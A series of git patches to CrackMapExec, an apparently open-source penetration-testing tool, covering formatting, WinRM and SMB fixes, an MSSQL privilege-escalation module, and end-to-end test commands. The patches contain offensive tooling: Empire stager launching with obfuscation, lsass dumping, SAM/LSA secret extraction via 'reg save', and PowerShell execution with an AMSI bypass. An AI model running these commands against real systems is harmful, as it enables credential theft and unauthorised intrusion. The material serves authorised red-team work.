@@ -28,7 +28,8 @@ crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc --options crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc -o CLEANUP=True -# crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec +#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener +#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns --options From c14d136a7100cdec84b0fddc125cb23cbc90cec0 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 5 May 2023 22:25:39 -0400 Subject: [PATCH 30/76] formatting: Black formatting --- cme/modules/empire_exec.py | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/cme/modules/empire_exec.py b/cme/modules/empire_exec.py index 2f04e953..d1ad3557 100644 --- a/cme/modules/empire_exec.py +++ b/cme/modules/empire_exec.py @@ -41,7 +41,11 @@ class CMEModule: obfuscate = True if "OBFUSCATE" in module_options else False # we can use commands instead of backslashes - this is because Linux and OSX treat them differently default_obfuscation = "Token,All,1" - obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation + obfuscate_cmd = ( + module_options["OBFUSCATE_CMD"] + if "OBFUSCATE_CMD" in module_options + else default_obfuscation + ) context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}") # Pull the host and port from the config file @@ -89,7 +93,7 @@ class CMEModule: "UserAgent": "default", "Proxy": "default", "ProxyCreds": "default", - "Bypasses": "mattifestation etw" + "Bypasses": "mattifestation etw", }, } try: @@ -107,7 +111,9 @@ class CMEModule: if "not found" in stager_response.json()["detail"]: context.log.fail(f"Listener {module_options['LISTENER']} not found") else: - context.log.fail(f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}") + context.log.fail( + f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}" + ) sys.exit(1) context.log.debug(f"Response Code: {stager_response.status_code}") @@ -132,7 +138,9 @@ class CMEModule: f"Successfully generated launcher for listener '{module_options['LISTENER']}'" ) else: - context.log.fail(f"Something went wrong when retrieving stager Powershell command") + context.log.fail( + f"Something went wrong when retrieving stager Powershell command" + ) def on_admin_login(self, context, connection): if self.empire_launcher: From 08c98c17def49db8b4f0dd933d385ad9a912a106 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 14:47:34 -0400 Subject: [PATCH 31/76] fix(tests): update daclread test to include proper options --- tests/e2e_commands.txt | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 7279566f..ad3bc9a9 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -28,8 +28,8 @@ crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc --options crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc -o CLEANUP=True -#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener -#crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True +crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener +crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener OBFUSCATE=True crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns --options @@ -146,7 +146,7 @@ crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS --gmsa crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -L crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M adcs --options -crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread +crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread -o TARGET=USERNAME ACTION=read crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M daclread --options crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users crackmapexec ldap TARGET -u USERNAME -p PASSWORD KERBEROS -M get-desc-users --options From 909dee5e48c3521e5c43bd2d7c547222ac32e75f Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 15:15:14 -0400 Subject: [PATCH 32/76] Revert "revert opsec flag for various modules" This reverts commit 87ff0d07 --- cme/modules/handlekatz.py | 2 +- cme/modules/nanodump.py | 2 +- cme/modules/scuffy.py | 2 +- cme/modules/slinky.py | 2 +- cme/protocols/winrm.py | 103 ++++++++++++++++++++------------------ 5 files changed, 57 insertions(+), 54 deletions(-) diff --git a/cme/modules/handlekatz.py b/cme/modules/handlekatz.py index 7ad1d1e1..0b0fa945 100644 --- a/cme/modules/handlekatz.py +++ b/cme/modules/handlekatz.py @@ -16,7 +16,7 @@ class CMEModule: name = "handlekatz" description = "Get lsass dump using handlekatz64 and parse the result with pypykatz" supported_protocols = ["smb"] - opsec_safe = True + opsec_safe = False multiple_hosts = True def options(self, context, module_options): diff --git a/cme/modules/nanodump.py b/cme/modules/nanodump.py index dba01e69..59e31377 100644 --- a/cme/modules/nanodump.py +++ b/cme/modules/nanodump.py @@ -17,7 +17,7 @@ class CMEModule: name = "nanodump" description = "Get lsass dump using nanodump and parse the result with pypykatz" supported_protocols = ["smb", "mssql"] - opsec_safe = True + opsec_safe = False multiple_hosts = True def __init__(self, context=None, module_options=None): diff --git a/cme/modules/scuffy.py b/cme/modules/scuffy.py index ee2d395a..cfece488 100644 --- a/cme/modules/scuffy.py +++ b/cme/modules/scuffy.py @@ -15,7 +15,7 @@ class CMEModule: name = "scuffy" description = "Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares" supported_protocols = ["smb"] - opsec_safe = True + opsec_safe = False multiple_hosts = True def __init__(self, context=None, module_options=None): diff --git a/cme/modules/slinky.py b/cme/modules/slinky.py index d68464b1..9f8d128b 100644 --- a/cme/modules/slinky.py +++ b/cme/modules/slinky.py @@ -15,7 +15,7 @@ class CMEModule: name = "slinky" description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions" supported_protocols = ["smb"] - opsec_safe = True + opsec_safe = False multiple_hosts = True def __init__(self, context=None, module_options=None): diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 9c29805a..350e9ed7 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -6,6 +6,8 @@ from datetime import datetime import os import requests from impacket.smbconnection import SMBConnection, SessionError + +from cme.config import process_secret from cme.connection import * from cme.helpers.logger import highlight from cme.helpers.bloodhound import add_user_bh @@ -16,15 +18,15 @@ from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes import logging # The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message -from requests.packages.urllib3.exceptions import InsecureRequestWarning - -requests.packages.urllib3.disable_warnings(InsecureRequestWarning) +# from requests.packages.urllib3.exceptions import InsecureRequestWarning +# +# requests.packages.urllib3.disable_warnings(InsecureRequestWarning) -class SuppressFilter(logging.Filter): - # remove warning https://github.com/diyan/pywinrm/issues/269 - def filter(self, record): - return "wsman" not in record.getMessage() +# class SuppressFilter(logging.Filter): +# # remove warning https://github.com/diyan/pywinrm/issues/269 +# def filter(self, record): +# return "wsman" not in record.getMessage() class winrm(connection): @@ -143,7 +145,7 @@ class winrm(connection): extra={ "protocol": "WINRM", "host": self.host, - "port": self.args.port, + "port": self.args.port if self.args.port else 5985, "hostname": self.hostname, } ) @@ -154,30 +156,30 @@ class winrm(connection): self.domain = self.args.domain self.logger.extra["hostname"] = self.hostname else: + # try: + smb_conn = SMBConnection(self.host, self.host, None, timeout=5) try: - smb_conn = SMBConnection(self.host, self.host, None, timeout=5) - try: - smb_conn.login("", "") - except SessionError as e: - pass + smb_conn.login("", "") + except SessionError as e: + pass - self.domain = smb_conn.getServerDNSDomainName() - self.hostname = smb_conn.getServerName() - self.server_os = smb_conn.getServerOS() - self.logger.extra["hostname"] = self.hostname + self.domain = smb_conn.getServerDNSDomainName() + self.hostname = smb_conn.getServerName() + self.server_os = smb_conn.getServerOS() + self.logger.extra["hostname"] = self.hostname - self.output_filename = os.path.expanduser( - f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" - ) + self.output_filename = os.path.expanduser( + f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}" + ) - try: - smb_conn.logoff() - except: - pass - except Exception as e: - self.logger.fail( - f"Error retrieving host domain: {e} specify one manually with the '-d' flag" - ) + try: + smb_conn.logoff() + except: + pass + # except Exception as e: + # self.logger.fail( + # f"Error retrieving host domain: {e} specify one manually with the '-d' flag" + # ) if self.args.domain: self.domain = self.args.domain @@ -275,7 +277,7 @@ class winrm(connection): self.logger.fail( "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password" ) - logging.debug( + self.logger.debug( "Host: {:<20} Password: {} {}".format( sAMAccountName, msMCSAdmPwd, self.hostname ) @@ -316,7 +318,7 @@ class winrm(connection): ) self.logger.extra["protocol"] = "HTTP" self.logger.display(self.endpoint) - self.logger.extra["protocol"] = "WINRM" + if self.args.laps: return self.laps_search( self.args.username, self.args.password, self.args.hash, self.domain @@ -337,11 +339,12 @@ class winrm(connection): f"winrm create_conn_obj() - Received response code: {res.status_code}" ) self.endpoint = url + self.logger.debug(f"Port args: {self.args.port}") + self.logger.debug(f"Port extra: {self.logger.extra['port']}") if self.endpoint.startswith("https://"): - self.port = self.args.port if self.args.port else 5986 + self.logger.extra["port"] = self.args.port if self.args.port else 5986 else: - self.port = self.args.port if self.args.port else 5985 - self.logger.extra["port"] = self.port + self.logger.extra["port"] = self.args.port if self.args.port else 5985 return True except requests.exceptions.Timeout as e: self.logger.info(f"Connection Timed out to WinRM service: {e}") @@ -358,7 +361,7 @@ class winrm(connection): try: from urllib3.connectionpool import log - log.addFilter(SuppressFilter()) + # log.addFilter(SuppressFilter()) if not self.args.laps: self.password = password self.username = username @@ -394,7 +397,7 @@ class winrm(connection): self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}" + f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" ) self.logger.debug( @@ -418,20 +421,20 @@ class winrm(connection): except Exception as e: if "with ntlm" in str(e): self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}" + f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" ) else: self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} \"{e}\"" + f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()} '{e}'" ) return False def hash_login(self, domain, username, ntlm_hash): try: - from urllib3.connectionpool import log + # from urllib3.connectionpool import log - log.addFilter(SuppressFilter()) + # log.addFilter(SuppressFilter()) lmhash = "00000000000000000000000000000000:" nthash = "" @@ -482,7 +485,7 @@ class winrm(connection): self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success( - f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}" + f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}" ) self.db.add_credential("hash", domain, self.username, nthash) @@ -497,11 +500,11 @@ class winrm(connection): except Exception as e: if "with ntlm" in str(e): self.logger.fail( - f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}" + f"{self.domain}\\{self.username}:{process_secret(nthash)}" ) else: self.logger.fail( - f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} \"{e}\"" + f"{self.domain}\\{self.username}:{process_secret(nthash)} '{e}'" ) return False @@ -510,7 +513,7 @@ class winrm(connection): r = self.conn.execute_cmd(self.args.execute) except: self.logger.info( - "Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !" + "Cannot execute command, probably because user is not local admin, but powershell command should be ok!" ) r = self.conn.execute_ps(self.args.execute) self.logger.success("Executed command") @@ -531,33 +534,33 @@ class winrm(connection): "del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM" ) - local_operations = LocalOperations(self.output_filename + ".system") + local_operations = LocalOperations(f"{self.output_filename}.system") boot_key = local_operations.getBootKey() SAM = SAMHashes( - self.output_filename + ".sam", + f"{self.output_filename}.sam", boot_key, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret), ) SAM.dump() - SAM.export(self.output_filename + ".sam") + SAM.export(f"{self.output_filename}.sam") def lsa(self): self.conn.execute_cmd( "reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM" ) self.conn.fetch( - "C:\\windows\\temp\\SECURITY", self.output_filename + ".security" + "C:\\windows\\temp\\SECURITY", f"{self.output_filename}.security" ) - self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") + self.conn.fetch("C:\\windows\\temp\\SYSTEM", f"{self.output_filename}.system") self.conn.execute_cmd( "del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY" ) - local_operations = LocalOperations(self.output_filename + ".system") + local_operations = LocalOperations(f"{self.output_filename}.system") boot_key = local_operations.getBootKey() LSA = LSASecrets( - self.output_filename + ".security", + f"{self.output_filename}.security", boot_key, None, isRemote=None, From f129447c8b101c6de4272192c665b6db38ff42c1 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 15:24:14 -0400 Subject: [PATCH 33/76] fix(winrm): update smb connecting to match current smb proto --- cme/protocols/winrm.py | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 350e9ed7..13523803 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -158,14 +158,25 @@ class winrm(connection): else: # try: smb_conn = SMBConnection(self.host, self.host, None, timeout=5) + no_ntlm = False try: smb_conn.login("", "") - except SessionError as e: + except BrokenPipeError: + self.logger.fail(f"Broken Pipe Error while attempting to login") + except Exception as e: + if "STATUS_NOT_SUPPORTED" in str(e): + # no ntlm supported + no_ntlm = True pass - self.domain = smb_conn.getServerDNSDomainName() - self.hostname = smb_conn.getServerName() + self.domain = ( + smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain + ) + self.hostname = smb_conn.getServerName() if not no_ntlm else self.host self.server_os = smb_conn.getServerOS() + if isinstance(self.server_os.lower(), bytes): + self.server_os = self.server_os.decode("utf-8") + self.logger.extra["hostname"] = self.hostname self.output_filename = os.path.expanduser( @@ -339,8 +350,6 @@ class winrm(connection): f"winrm create_conn_obj() - Received response code: {res.status_code}" ) self.endpoint = url - self.logger.debug(f"Port args: {self.args.port}") - self.logger.debug(f"Port extra: {self.logger.extra['port']}") if self.endpoint.startswith("https://"): self.logger.extra["port"] = self.args.port if self.args.port else 5986 else: From 08d65188ec93366c0ab200d9344b6c8908680023 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 22:45:08 -0400 Subject: [PATCH 34/76] fix(mssql_priv): properly retrieve results from mssql queries and improve logic to prevent impersonation loop checks --- cme/modules/mssql_priv.py | 113 +++++++++++++++++++++----------------- 1 file changed, 64 insertions(+), 49 deletions(-) diff --git a/cme/modules/mssql_priv.py b/cme/modules/mssql_priv.py index 338c6af4..9d0d969a 100644 --- a/cme/modules/mssql_priv.py +++ b/cme/modules/mssql_priv.py @@ -32,6 +32,14 @@ class CMEModule: opsec_safe = True multiple_hosts = True + def __init__(self): + self.admin_privs = None + self.current_user = None + self.current_username = None + self.mssql_conn = None + self.action = None + self.context = None + def options(self, context, module_options): """ ACTION Specifies the action to perform: @@ -40,6 +48,7 @@ class CMEModule: - rollback (remove sysadmin privilege) """ self.action = None + self.context = context if "ACTION" in module_options: self.action = module_options["ACTION"] @@ -55,25 +64,25 @@ class CMEModule: if self.action == "rollback": if not self.current_user.is_sysadmin: - context.log.fail(f"{self.current_username} is not sysadmin") + self.context.log.fail(f"{self.current_username} is not sysadmin") return if self.remove_sysadmin_priv(): - context.log.success("sysadmin role removed") + self.context.log.success("sysadmin role removed") else: - context.log.success("failed to remove sysadmin role") + self.context.log.success("failed to remove sysadmin role") return if self.current_user.is_sysadmin: - context.log.success(f"{self.current_username} is already a sysadmin") + self.context.log.success(f"{self.current_username} is already a sysadmin") return # build path - self.perform_check(context, self.current_user) + self.perform_impersonation_check(self.current_user) # look for a privesc path target_user = self.browse_path(context, self.current_user, self.current_user) if self.action == "privesc": if not target_user: - context.log.fail("can't find any path to privesc") + self.context.log.fail("can't find any path to privesc") else: exec_as = self.build_exec_as_from_path(target_user) # privesc via impersonation privilege @@ -83,9 +92,11 @@ class CMEModule: elif target_user.dbowner: self.do_dbowner_privesc(target_user.dbowner, exec_as) if self.is_admin_user(self.current_username): - context.log.success( + self.context.log.success( f"{self.current_username} is now a sysadmin! " - + highlight("({})".format(context.conf.get("CME", "pwn3d_label"))) + + highlight( + "({})".format(self.context.conf.get("CME", "pwn3d_label")) + ) ) def build_exec_as_from_path(self, target_user): @@ -100,38 +111,38 @@ class CMEModule: def browse_path(self, context, initial_user: User, user: User) -> User: if initial_user.is_sysadmin: - context.log.success(f"{initial_user.username} is sysadmin") + self.context.log.success(f"{initial_user.username} is sysadmin") return initial_user elif initial_user.dbowner: - context.log.success(f"{initial_user.username} can privesc via dbowner") + self.context.log.success(f"{initial_user.username} can privesc via dbowner") return initial_user for grantor in user.grantors: if grantor.is_sysadmin: - context.log.success( - f"{user.username} can impersonate " f"{grantor.username} (sysadmin)" + self.context.log.success( + f"{user.username} can impersonate: " + f"{grantor.username} (sysadmin)" ) return grantor elif grantor.dbowner: - context.log.success( - f"{user.username} can impersonate {grantor.username} " - f"(which can privesc via dbowner)" + self.context.log.success( + f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)" ) return grantor else: - context.log.display( - f"{user.username} can impersonate {grantor.username}" + self.context.log.display( + f"{user.username} can impersonate: {grantor.username}" ) return self.browse_path(context, initial_user, grantor) def query_and_get_output(self, query): - try: - self.mssql_conn.sql_query(query) - self.mssql_conn.printRows() - query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage() - query_output = query_output.strip("\n-") - return query_output - except Exception as e: - return False + # try: + results = self.mssql_conn.sql_query(query) + # self.mssql_conn.printRows() + # query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage() + # query_output = results.strip("\n-") + return results + # except Exception as e: + # return False def sql_exec_as(self, grantors: list) -> str: exec_as = [] @@ -139,7 +150,7 @@ class CMEModule: exec_as.append(f"EXECUTE AS LOGIN = '{grantor}';") return "".join(exec_as) - def perform_check(self, context, user: User, grantors=[]): + def perform_impersonation_check(self, user: User, grantors=[]): # build EXECUTE AS if any grantors is specified exec_as = self.sql_exec_as(grantors) # do we have any privilege ? @@ -152,12 +163,13 @@ class CMEModule: if new_grantor == user.username: continue # create a new user and add it as a grantor of the current user - new_user = User(new_grantor) - new_user.parent = user - user.grantors.append(new_user) - grantors.append(new_grantor) - # perform the same check on the grantor - self.perform_check(context, new_user, grantors) + if new_grantor not in grantors: + new_user = User(new_grantor) + new_user.parent = user + user.grantors.append(new_user) + grantors.append(new_grantor) + # perform the same check on the grantor + self.perform_impersonation_check(new_user, grantors) def update_priv(self, user: User, exec_as=""): if self.is_admin_user(user.username): @@ -167,12 +179,15 @@ class CMEModule: return user.dbowner def get_current_username(self) -> str: - return self.query_and_get_output("select SUSER_NAME()") + return self.query_and_get_output("select SUSER_NAME()")[0][""] def is_admin(self, exec_as="") -> bool: res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')") self.revert_context(exec_as) - if int(res): + is_admin = res[0][""] + self.context.log.debug(f"IsAdmin Result: {is_admin}") + if is_admin: + self.context.log.debug(f"User is admin!") self.admin_privs = True return True else: @@ -183,7 +198,9 @@ class CMEModule: exec_as + "SELECT name FROM master..sysdatabases" ) self.revert_context(exec_as) - tables = res.split("\n\n")[2:] + self.context.log.debug(f"Response: {res}") + self.context.log.debug(f"Response Type: {type(res)}") + tables = [table["name"] for table in res] return tables def is_dbowner(self, database, exec_as="") -> bool: @@ -194,13 +211,16 @@ class CMEModule: join [{database}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id) where rp.name = 'db_owner' and mp.name = SYSTEM_USER""" + self.context.log.debug(f"Query: {query}") res = self.query_and_get_output(exec_as + query) + self.context.log.debug(f"Response: {res}") self.revert_context(exec_as) - try: - res = res.split("\n\n")[2] - except IndexError as e: - return False - return res == "db_owner" + if res: + if "database_role" in res[0] and res[0]["database_role"] == "db_owner": + return True + else: + return False + return False def find_dbowner_priv(self, databases, exec_as="") -> list: match = [] @@ -221,12 +241,8 @@ class CMEModule: WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'""" res = self.query_and_get_output(exec_as + query) - # revert context self.revert_context(exec_as) - try: - return res.split("\n\n")[2:] - except IndexError: - return [] + return res def check_dbowner_privesc(self, exec_as=""): databases = self.get_databases(exec_as) @@ -268,11 +284,10 @@ class CMEModule: ON a.grantor_principal_id = b.principal_id WHERE a.permission_name like 'IMPERSONATE%'""" res = self.query_and_get_output(exec_as + query) + # self.context.log.debug(f"Result: {res}") self.revert_context(exec_as) - try: - return res.split("\n\n")[2:] - except IndexError: - return [] + users = [user["name"] for user in res] + return users def remove_sysadmin_priv(self) -> bool: res = self.query_and_get_output( From ae9320c518515ddcb366501eadb0a26c839bf6dc Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 23:11:28 -0400 Subject: [PATCH 35/76] update smb ps_exec to return response --- cme/modules/test_connection.py | 23 +++++++++++------ cme/protocols/smb.py | 45 +++++++++++++++++++--------------- 2 files changed, 40 insertions(+), 28 deletions(-) diff --git a/cme/modules/test_connection.py b/cme/modules/test_connection.py index 9a90fe1d..019087e3 100644 --- a/cme/modules/test_connection.py +++ b/cme/modules/test_connection.py @@ -16,6 +16,11 @@ class CMEModule: opsec_safe = True multiple_hosts = True + def __init__(self, context, module_options): + self.context = context + self.module_options = module_options + self.host = None + def options(self, context, module_options): """ HOST Host to ping @@ -29,13 +34,15 @@ class CMEModule: self.host = module_options["HOST"] def on_admin_login(self, context, connection): - command = "Test-Connection {} -quiet -count 1".format(self.host) + # $ProgressPreference = 'SilentlyContinue' prevents the "preparing modules for the first time" error + command = f"$ProgressPreference = 'SilentlyContinue'; Test-Connection {self.host} -quiet -count 1" + output = connection.ps_execute(command, get_output=True)[0] - output = connection.ps_execute(command, get_output=True) + context.log.debug(f"Output: {output}") + context.log.debug(f"Type: {type(output)}") + + if output == "True": + context.log.success("Pinged successfully") + else: + context.log.fail("Host unreachable") - if output: - output = output.strip() - if bool(output) is True: - context.log.success("Pinged successfully") - elif bool(output) is False: - context.log.fail("Host unreachable") diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 6a06a6af..962bd3dd 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -1158,6 +1158,7 @@ class smb(connection): force_ps32=False, dont_obfs=False, ): + response = [] if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: @@ -1167,28 +1168,32 @@ class smb(connection): if os.path.isfile(payload): with open(payload) as commands: for c in commands: - self.execute( - create_ps_command( - c, - force_ps32=force_ps32, - dont_obfs=dont_obfs, - custom_amsi=amsi_bypass, - ), - get_output, - methods, + response.append( + self.execute( + create_ps_command( + c, + force_ps32=force_ps32, + dont_obfs=dont_obfs, + custom_amsi=amsi_bypass, + ), + get_output, + methods, + ) ) else: - self.execute( - create_ps_command( - payload, - force_ps32=force_ps32, - dont_obfs=dont_obfs, - custom_amsi=amsi_bypass, - ), - get_output, - methods, - ) - return "" + response = [ + self.execute( + create_ps_command( + payload, + force_ps32=force_ps32, + dont_obfs=dont_obfs, + custom_amsi=amsi_bypass, + ), + get_output, + methods, + ) + ] + return response def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) From fae4e34e996ef3351483f8211313e4b24d9fc608 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 23:12:36 -0400 Subject: [PATCH 36/76] fix(test_connection): works for smb and mssql now --- cme/modules/test_connection.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/cme/modules/test_connection.py b/cme/modules/test_connection.py index 019087e3..0e860080 100644 --- a/cme/modules/test_connection.py +++ b/cme/modules/test_connection.py @@ -16,11 +16,6 @@ class CMEModule: opsec_safe = True multiple_hosts = True - def __init__(self, context, module_options): - self.context = context - self.module_options = module_options - self.host = None - def options(self, context, module_options): """ HOST Host to ping @@ -36,6 +31,7 @@ class CMEModule: def on_admin_login(self, context, connection): # $ProgressPreference = 'SilentlyContinue' prevents the "preparing modules for the first time" error command = f"$ProgressPreference = 'SilentlyContinue'; Test-Connection {self.host} -quiet -count 1" + output = connection.ps_execute(command, get_output=True)[0] context.log.debug(f"Output: {output}") From 53b80e025a9ab84f99169d617b3ef71f0478c500 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 23:14:52 -0400 Subject: [PATCH 37/76] black refactor winrm.py --- cme/protocols/winrm.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 13523803..26a1c8e5 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -351,9 +351,13 @@ class winrm(connection): ) self.endpoint = url if self.endpoint.startswith("https://"): - self.logger.extra["port"] = self.args.port if self.args.port else 5986 + self.logger.extra["port"] = ( + self.args.port if self.args.port else 5986 + ) else: - self.logger.extra["port"] = self.args.port if self.args.port else 5985 + self.logger.extra["port"] = ( + self.args.port if self.args.port else 5985 + ) return True except requests.exceptions.Timeout as e: self.logger.info(f"Connection Timed out to WinRM service: {e}") From af4e07075933e54ef12ccae7449bf358a01255ba Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 23:18:39 -0400 Subject: [PATCH 38/76] black format test_connection.py --- cme/modules/test_connection.py | 1 - 1 file changed, 1 deletion(-) diff --git a/cme/modules/test_connection.py b/cme/modules/test_connection.py index 0e860080..d0f330e5 100644 --- a/cme/modules/test_connection.py +++ b/cme/modules/test_connection.py @@ -41,4 +41,3 @@ class CMEModule: context.log.success("Pinged successfully") else: context.log.fail("Host unreachable") - From 4f634d6f9eccc2c0fc3eaa7b70fd365a701bbd51 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Sat, 6 May 2023 23:47:46 -0400 Subject: [PATCH 39/76] fix(tests): update e2e tests regex/target name since some modules use TARGET as an option --- tests/e2e_commands.txt | 366 ++++++++++++++++++++--------------------- tests/e2e_test.py | 2 +- 2 files changed, 184 insertions(+), 184 deletions(-) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index ad3bc9a9..2664c3d6 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -1,197 +1,197 @@ ##### SMB -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares --filter-shares READ WRITE -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --pass-pol -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --disks -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --groups -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --sessions -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --loggedon-users -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --users -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --computers -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --rid-brute -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --local-groups -crackmapexec smb TARGET -u 